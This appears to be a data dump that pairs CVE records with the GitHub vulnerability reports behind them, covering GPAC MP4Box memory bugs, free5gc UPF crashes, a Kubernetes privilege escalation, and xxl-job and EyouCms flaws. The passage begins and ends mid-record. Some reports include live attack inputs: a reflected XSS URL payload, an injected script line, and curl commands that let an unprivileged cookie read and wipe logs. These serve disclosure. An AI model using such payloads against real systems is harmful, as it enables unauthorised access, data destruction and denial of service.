0x15})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/message.go:117 +0x325\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc0001de0d0, 0xc0001d60d0)\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x48b\ncreated by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start in goroutine 1\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xb8\n" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
```
| [Bugs] UPF crash caused by PFCP messages whose 2rd IE type larger than 0x7fff | https://api.github.com/repos/free5gc/free5gc/issues/482/comments | 3 | 2023-09-22T02:57:53Z | 2023-11-02T04:51:21Z | https://github.com/free5gc/free5gc/issues/482 | 1,908,102,486 | 482 | 5,741 |
CVE-2023-47384 | 2023-11-14T20:15:08.417 | MP4Box GPAC v2.3-DEV-rev617-g671976fcc-master was discovered to contain a memory leak in the function gf_isom_add_chapter at /isomedia/isom_write.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted MP4 file. | {
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"gpac"
] | 1、Version
./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
2、ASAN Log
[Dasher] No template assigned, using $File$_dash$FS$$Number$
[IsoMedia] Failed to fetch initial sample 1 for track 1
[IsoMedia] Failed to fetch initial sample 1 for track 1
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3416==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7f340d3b22bc bp 0x7fff33ecd7f0 sp 0x7fff33eccf78 T0)
==3416==The signal is caused by a READ memory access.
==3416==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x7f340d3b22bc (/lib/x86_64-linux-gnu/libc.so.6+0x1b22bc)
#1 0x7f340f85b8ce in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cpp:450
#2 0x7f340e473095 in gf_isom_add_chapter isomedia/isom_write.c:3182
#3 0x7f340ee901db in mp4_mux_setup_pid filters/mux_isom.c:3763
#4 0x7f340eb04d02 in gf_filter_pid_configure filter_core/filter_pid.c:876
#5 0x7f340eb09a3c in gf_filter_pid_connect_task filter_core/filter_pid.c:1230
#6 0x7f340eb4642f in gf_fs_thread_proc filter_core/filter_session.c:2105
#7 0x7f340eb4d74e in gf_fs_run filter_core/filter_session.c:2405
#8 0x7f340e5b8626 in gf_dasher_process media_tools/dash_segmenter.c:1236
#9 0x560c71d604d9 in do_dash /home/returnzero/gpac/applications/mp4box/mp4box.c:4831
#10 0x560c71d604d9 in mp4box_main /home/returnzero/gpac/applications/mp4box/mp4box.c:6245
#11 0x7f340d229d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#12 0x7f340d229e3f in __libc_start_main_impl ../csu/libc-start.c:392
#13 0x560c71cf6214 in _start (/home/returnzero/gpac/bin/gcc/MP4Box+0x4e214)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x1b22bc)
==3416==ABORTING
3、Reproduction
./MP4Box -dash 10000 $poc
4、poc
[crash65.zip](https://github.com/gpac/gpac/files/13225281/crash65.zip)
5、Impact
This vulnerability is capable of causing crashes, or lead to dos.
6、 Env
Linux returnzero-virtual-machine 6.2.0-36-generic #37~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 9 15:34:04 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
AFL++ 4.09a
7、Credit
ReturnZero
| Memory Leak in gf_isom_add_chapter isomedia/isom_write.c:3182 | https://api.github.com/repos/gpac/gpac/issues/2672/comments | 0 | 2023-11-01T09:16:33Z | 2023-12-04T10:07:48Z | https://github.com/gpac/gpac/issues/2672 | 1,971,994,862 | 2,672 | 5,742 |
CVE-2023-5528 | 2023-11-14T21:15:14.123 | A security issue was discovered in Kubernetes where a user that can create pods and persistent volumes on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they are using an in-tree storage plugin for Windows nodes. | {
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"kubernetes",
"kubernetes"
] | CVSS Rating: [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) - **HIGH** (7.2)
A security issue was discovered in Kubernetes where a user that can create pods and persistent volumes on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they are using an in-tree storage plugin for Windows nodes.
### Am I vulnerable?
Any kubernetes environment with Windows nodes is impacted. Run `kubectl get nodes -l kubernetes.io/os=windows` to see if any Windows nodes are in use.
#### Affected Versions
- kubelet >= v1.8.0 (including all later minor versions)
### How do I mitigate this vulnerability?
The provided patch fully mitigates the vulnerability.
Outside of applying the provided patch, there are no known mitigations to this vulnerability.
#### Fixed Versions
- kubelet master - fixed by #121881
- kubelet v1.28.4 - fixed by #121882
- kubelet v1.27.8 - fixed by #121883
- kubelet v1.26.11 - fixed by #121884
- kubelet v1.25.16 - fixed by #121885
To upgrade, refer to the documentation:
https://kubernetes.io/docs/tasks/administer-cluster/cluster-management/#upgrading-a-cluster
### Detection
Kubernetes audit logs can be used to detect if this vulnerability is being exploited. Persistent Volume create events with local path fields containing special characters are a strong indication of exploitation.
If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io
#### Acknowledgements
This vulnerability was reported by Tomer Peled [@tomerpeled92](https://github.com/tomerpeled92)
The issue was fixed and coordinated by the fix team:
James Sturtevant @jsturtevant
Mark Rossetti @marosset
Michelle Au @msau42
Jan Šafránek @jsafrane
Mo Khan @enj
Rita Zhang @ritazh
Micah Hausler @micahhausler
Sri Saran Balaji @SaranBalaji90
Craig Ingram @cji
and release managers:
Jeremy Rickard @jeremyrickard
Marko Mudrinić @xmudrii
/area security
/kind bug
/committee security-response
/label official-cve-feed
/sig windows
/sig storage
/area kubelet | CVE-2023-5528: Insufficient input sanitization in in-tree storage plugin leads to privilege escalation on Windows nodes | https://api.github.com/repos/kubernetes/kubernetes/issues/121879/comments | 1 | 2023-11-14T15:54:16Z | 2023-11-16T13:42:24Z | https://github.com/kubernetes/kubernetes/issues/121879 | 1,993,034,362 | 121,879 | 5,743 |
CVE-2023-41597 | 2023-11-15T06:15:27.893 | EyouCms v1.6.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /admin/twitter.php?active_t. | {
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"emlog",
"emlog"
] | EyouCms v1.6.2 存在反射型XSS漏洞，系twitter.php文件中active_t参数过滤不严。
攻击者构造恶意链接：
/admin/twitter.php?active_t=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
登陆后的用户触发xss。
| EyouCms v1.6.2 存在反射型XSS漏洞 | https://api.github.com/repos/emlog/emlog/issues/238/comments | 2 | 2023-07-23T08:55:00Z | 2023-11-16T08:47:03Z | https://github.com/emlog/emlog/issues/238 | 1,817,047,912 | 238 | 5,744 |
CVE-2023-48087 | 2023-11-15T15:15:07.453 | xxl-job-admin 2.4.0 is vulnerable to Insecure Permissions via /xxl-job-admin/joblog/clearLog and /xxl-job-admin/joblog/logDetailCat. | {
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"xuxueli",
"xxl-job"
] | ### Environment
MySQL 5.7.44, XXL-Job-Admin 2.4.0
Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin)
Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor)
### Vulnerability Information
It was found that the direct query of xxl-job-admin/joblog/clearLog and /xxl-job-admin/joblog/logDetailPage does not validate user privilege and induces risk of sensitive information leakage and loss.
### Steps to reproduce the behavior
Step 1: Create a normal user without any privilege inside the web console as below
Step 2: Retrieve the cookie for the user
Step 3: Run the following command for testing log query
` curl -v -X POST "http://<IP address:port>/xxl-job-admin/joblog/logDetailCat" --cookie "XXL_JOB_LOGIN_IDENTITY=<normal user cookie>" -d 'logId=9&fromLineNum=1'`
It can show the successful log query and return 200 status.
Step 4: Run the following command for log clearing
` curl -v -X POST "http://<IP address:port>/xxl-job-admin/joblog/clearLog" --cookie "XXL_JOB_LOGIN_IDENTITY=<normal user cookie>" -d 'jobGroup=0&jobId=0&type=9' `
it will return 200 status.
Step 5. Show the log in the console. It will show that all log is cleared successfully by normal user.
| Permission Vulnerability of Path /xxl-job-admin/joblog/clearLog & /xxl-job-admin/joblog/logDetailCat | https://api.github.com/repos/xuxueli/xxl-job/issues/3330/comments | 3 | 2023-11-08T02:32:23Z | 2025-01-08T15:13:33Z | https://github.com/xuxueli/xxl-job/issues/3330 | 1,982,605,023 | 3,330 | 5,745 |
CVE-2023-48088 | 2023-11-15T15:15:07.510 | xxl-job-admin 2.4.0 is vulnerable to Cross Site Scripting (XSS) via /xxl-job-admin/joblog/logDetailPage. | {
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] | github.com | [
"xuxueli",
"xxl-job"
] | ### Environment
MySQL 5.7.44, XXL-Job-Admin 2.4.0
Virtual Machine 1: Ubuntu 22.04.3 (as XXL-Job-Admin)
Virtual Machine 2: Ubuntu 22.04.3 (as XXL-Job-Executor)
### Vulnerability Information
During the query of /xxl-job-admin/joblog/logDetailPage, the xxl-job-admin will query the related log directly in the machine and show it in the console in HTML format even if the log appears in <script> </script> format
### Steps to reproduce the behavior
Step 1: Modify the application log in default path of XXL-Job-Executor and add malicious javascript
` cd /data/applogs/xxl-job/jobhandler/yyyy-mm-dd/`
Example malicious code
`<script>alert(Test123);</script>`
Step 2: Login to the XXL-Job-Admin console by admin user and navigate to Log Query Page
Check the log by querying log id
Step 3: Alert will show here
 | XSS attack appears in /xxl-job-admin/joblog/logDetailPage | https://api.github.com/repos/xuxueli/xxl-job/issues/3329/comments | 1 | 2023-11-08T02:03:54Z | 2023-11-23T09:50:55Z | https://github.com/xuxueli/xxl-job/issues/3329 | 1,982,577,272 | 3,329 | 5,746 |
CVE-2023-48011 | 2023-11-15T19:15:07.693 | GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a heap-use-after-free via the flush_ref_samples function at /gpac/src/isomedia/movie_fragments.c. | {
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"gpac",
"gpac"
] | # Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
[33m[iso file] extra box maxr found in hinf, deleting
[0m[32m[iso file] Unknown box type traI in parent moov
[0m[33m[iso file] Box "stss" (start 9939) has 32 extra bytes
[0m[33m[iso file] extra box maxr found in hinf, deleting
[0m[33m[iso file] Track with no sample description box !
[0m[33m[IsoMedia] Track 4 type MPEG not natively handled
[0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$
[0m[32m[iso file] Unknown box type traI in parent moov
[0m[33m[MP4Mux] muxing unknown codec ID Codec Not Supported, using generic sample entry with 4CC "MPEG"
[0m[31m[IsoMedia] File truncated, aborting read for track 1
[0m[37mDashing P1 AS#1.1(V) done (1 segs)
[0m[31m[MP4Mux] Failed to add sample DTS 0 from O7 - prev DTS 18446744073709551615: Out Of Memory
[0m=================================================================
==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68
READ of size 8 at 0x60b000001d88 thread T0
#0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37
#1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4
#2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8
#3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90)
freed by thread T0 here:
#0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3
previously allocated by thread T0 here:
#0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2
#2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9
#3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14
#4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9
#5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8
#6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
Shadow bytes around the buggy address:
0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00
0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd
0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd
0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==836900==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/huaf_936
# Credit
```
Gandalf4a
``` | heap-use-after-free in ./gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples | https://api.github.com/repos/gpac/gpac/issues/2611/comments | 0 | 2023-10-08T16:10:40Z | 2023-10-12T14:08:21Z | https://github.com/gpac/gpac/issues/2611 | 1,931,883,357 | 2,611 | 5,747 |
CVE-2023-48013 | 2023-11-15T19:15:07.753 | GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a double free via the gf_filterpacket_del function at /gpac/src/filter_core/filter.c. | {
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] | # Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
/home/user/vul/MP4Box_crash/id000037sig06src002502time27968081execs258947ophavocrep16
[32m[iso file] Unknown box type 00000000 in parent moov
[0m[32m[iso file] Unknown top-level box type 00000100
[0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$
[0m[32m[Dasher] No bitrate property assigned to PID V1, computing from bitstream
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[32m[iso file] Unknown box type 00000000 in parent moov
[0m[33m[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 18446744073709551615/12288
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[31m[MuxIsom] Packet with no CTS assigned, cannot store to track, ignoring
[0m[31m[IsoMedia] File truncated, aborting read for track 1
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[37mDashing P1 AS#1.1(V) done (1 segs)
[0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property
[0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property
[0m[32m[MPD] Generating MPD at time 2023-10-08T12:38:38.043Z
[0m[32m[Dasher] End of Period
[0m[32m[Dasher] End of MPD (no more active streams)
[0m=================================================================
==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0:
#0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
#2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33
#3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3
#4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4
#5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3
#6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2
#7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2
#8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc)
freed by thread T0 here:
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30
#2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6
#3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19
#4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5
#5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
previously allocated by thread T0 here:
LLVMSymbolizer: error reading file: No such file or directory
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15
#2 0x7ffd05c3a8df ([stack]+0x328df)
SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free
==827317==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/df_105972
# Credit
```
Gandalf4a
``` | double-free in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17 | https://api.github.com/repos/gpac/gpac/issues/2612/comments | 0 | 2023-10-08T16:13:47Z | 2023-10-12T14:17:39Z | https://github.com/gpac/gpac/issues/2612 | 1,931,884,388 | 2,612 | 5,748 |
CVE-2023-48014 | 2023-11-15T19:15:07.803 | GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a stack overflow via the hevc_parse_vps_extension function at /media_tools/av_parsers.c. | {
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] | # Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
/home/user/vul/MP4Box_crash/id000085sig06src003627time38285673execs366724ophavocrep8
[31m[HEVC] Error parsing NAL unit type 2
[0m=================================================================
==833362==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdcf3828d0 at pc 0x7f6e8e6ab0c1 bp 0x7ffdcf382870 sp 0x7ffdcf382868
WRITE of size 1 at 0x7ffdcf3828d0 thread T0
#0 0x7f6e8e6ab0c0 in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42
#1 0x7f6e8e66492e in gf_hevc_read_vps_bs_internal /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8095:9
#2 0x7f6e8e66b0e5 in gf_hevc_parse_nalu_bs /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8756:30
#3 0x7f6e8f25c2ca in naludmx_check_dur /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:576:10
#4 0x7f6e8f264622 in naludmx_check_pid /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:1826:3
#5 0x7f6e8f252dc5 in naludmx_process /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:3370:4
#6 0x7f6e8edafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#7 0x7f6e8ed7d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#8 0x7f6e8ed7b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#9 0x7f6e8e62ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#10 0x5572d97a66dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#11 0x5572d9797b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#12 0x7f6e8d629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#13 0x7f6e8d629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#14 0x5572d96bfdd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
Address 0x7ffdcf3828d0 is located in stack of thread T0 at offset 80 in frame
#0 0x7f6e8e6a4abf in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7690
This frame has 12 object(s):
[32, 48) 'dimension_id_len' (line 7693)
[64, 80) 'dim_bit_offset' (line 7693) <== Memory access at offset 80 overflows this variable
[96, 100) 'layer_set_idx_for_ols_minus1' (line 7695)
[112, 117) 'nb_output_layers_in_output_layer_set' (line 7696)
[144, 149) 'ols_highest_output_layer_id' (line 7697)
[176, 240) 'num_direct_ref_layers' (line 7700)
[272, 336) 'num_pred_layers' (line 7700)
[368, 372) 'num_layers_in_tree_partition' (line 7700)
[384, 400) 'dependency_flag' (line 7701)
[416, 672) 'id_pred_layers' (line 7701)
[736, 800) 'layer_id_in_list_flag' (line 7706)
[832, 896) 'OutputLayerFlag' (line 7707)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension
Shadow bytes around the buggy address:
0x100039e684c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100039e68510: f1 f1 f1 f1 00 00 f2 f2 00 00[f2]f2 04 f2 05 f2
0x100039e68520: f2 f2 05 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2
0x100039e68530: f2 f2 00 00 00 00 00 00 00 00 f2 f2 f2 f2 04 f2
0x100039e68540: 00 00 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68560: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==833362==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/sbo_7735
# Credit
```
Gandalf4a
``` | stack-buffer-overflow in /gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension | https://api.github.com/repos/gpac/gpac/issues/2613/comments | 0 | 2023-10-08T16:15:17Z | 2023-10-12T14:46:27Z | https://github.com/gpac/gpac/issues/2613 | 1,931,886,016 | 2,613 | 5,749 |
CVE-2023-47345 | 2023-11-15T22:15:27.877 | Buffer Overflow vulnerability in free5gc 3.3.0 allows attackers to cause a denial of service via crafted PFCP message with malformed PFCP Heartbeat message whose Recovery Time Stamp IE length is mutated to zero. | {
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"scope": "UNCHANGED",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
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] | 120 | https://github.com/free5gc/free5gc/issues/483 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"free5gc",
"free5gc"
] | [Bugs] UPF crash caused by malformed PFCP messages whose 1st IE length is mutated to zero
## Describe the bug
While fuzzing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when send malformed PFCP Heartbeat Request whose Recovery Time Stamp IE length is mutated to zero. This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash.
## To Reproduce
